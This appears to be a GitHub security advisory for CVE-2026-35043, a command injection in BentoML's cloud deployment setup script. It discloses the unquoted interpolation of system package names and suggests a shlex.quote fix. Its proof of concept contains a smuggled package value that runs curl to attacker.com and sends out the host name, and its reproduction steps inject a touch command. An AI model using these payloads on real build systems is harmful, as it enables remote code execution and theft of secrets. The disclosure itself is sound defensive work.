CVE-2026-35043: BentoML: command injection in cloud deployment setup script (deployment.py)

Commit ce53491 (March 24) fixed command injection via systempackages in Dockerfile templates and images.py by adding shlex.quote. However, the cloud deployment path in src/bentoml/internal/cloud/deployment.py was not included in the fix. Line 1648 interpolates systempackages directly into a shell command using an f-string without any quoting.

The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.

Details

Fixed paths (commit ce53491): - src/bentomlsdk/images.py:88 - added shlex.quote(package) - src/bentoml/internal/bento/buildconfig.py:505 - added bashquote Jinja2 filter - Jinja2 templates: basedebian.j2, basealpine.j2, etc.

Unfixed path:

src/bentoml/internal/cloud/deployment.py, line 1648:

def buildsetupscript(bentodir: str, image: Image | None) -> bytes: content = b"" config = BentoBuildConfig.frombentodir(bentodir) if config.docker.systempackages: content += f"apt-get update && apt-get install -y {' '.join(config.docker.systempackages)} || exit 1\n".encode()

systempackages values from bentofile.yaml are joined with spaces and interpolated directly into the apt-get install command. No shlex.quote.

Remote execution confirmed: - Line 905: setupscript = buildsetupscript(bentodir, svc.image) in initdeploymentfiles - Line 908: uploadfiles.append(("setup.sh", setupscript)) uploads to BentoCloud - Line 914: self.uploadfiles(uploadfiles, ...) sends to the remote deployment - The script runs on the cloud build infrastructure during container setup

Second caller at line 1068: buildsetupscript is also called during Deployment.watch() for dev mode hot-reload deployments.

Proof of Concept

bentofile.yaml:

service: "service:svc" docker: systempackages: - "curl" - "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"

Generated setup.sh:

apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1

The semicolon terminates the apt-get command. ${IFS} is used for spaces (works in bash, avoids YAML parsing issues). The # comments out the trailing || exit 1. The injected curl exfiltrates the hostname of the build infrastructure to the attacker.

Impact

A malicious bentofile.yaml achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:

1. Supply chain: A shared Bento from a public model hub contains a poisoned bentofile.yaml. When deployed to BentoCloud, the injected command runs on the build infrastructure. 2. Insider threat: A data scientist with deploy permissions injects commands into systempackages to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data). 3. CI/CD compromise: The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.

Local Reproduction Steps

Tested and confirmed on Ubuntu with BentoML source at commit 0772581.

Step 1: Create a directory with a malicious bentofile.yaml:

mkdir /tmp/bento-pwn cat > /tmp/bento-pwn/bentofile.yaml << 'EOF' service: "service:svc" docker: systempackages: - "curl" - "jq; touch /tmp/PWNEDBYINJECTION #" EOF

Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):

python3 -c " import yaml with open('/tmp/bento-pwn/bentofile.yaml') as f: config = yaml.safeload(f) pkgs = config['docker']['systempackages'] script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\" print('Generated setup.sh:') print(script) with open('/tmp/bento-pwn/setup.sh', 'w') as f: f.write(script) "

Step 3: Execute and verify:

rm -f /tmp/PWNEDBYINJECTION bash /tmp/bento-pwn/setup.sh ls -la /tmp/PWNEDBYINJECTION

Result: /tmp/PWNEDBYINJECTION is created, confirming the injected touch command executed. The semicolon broke out of apt-get install, the injected command ran, and # commented out the error handler.

Generated setup.sh content:

apt-get update && apt-get install -y curl jq; touch /tmp/PWNEDBYINJECTION # || exit 1

For comparison, the fixed version (with shlex.quote) would generate:

apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNEDBYINJECTION #' || exit 1

The single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.

Suggested Fix

Apply shlex.quote to each package name, matching the fix in images.py:

if config.docker.systempackages: quoted = ' '.join(shlex.quote(p) for p in config.docker.systempackages) content += f"apt-get update && apt-get install -y {quoted} || exit 1\n".encode()

— Koda Reef

— GitHub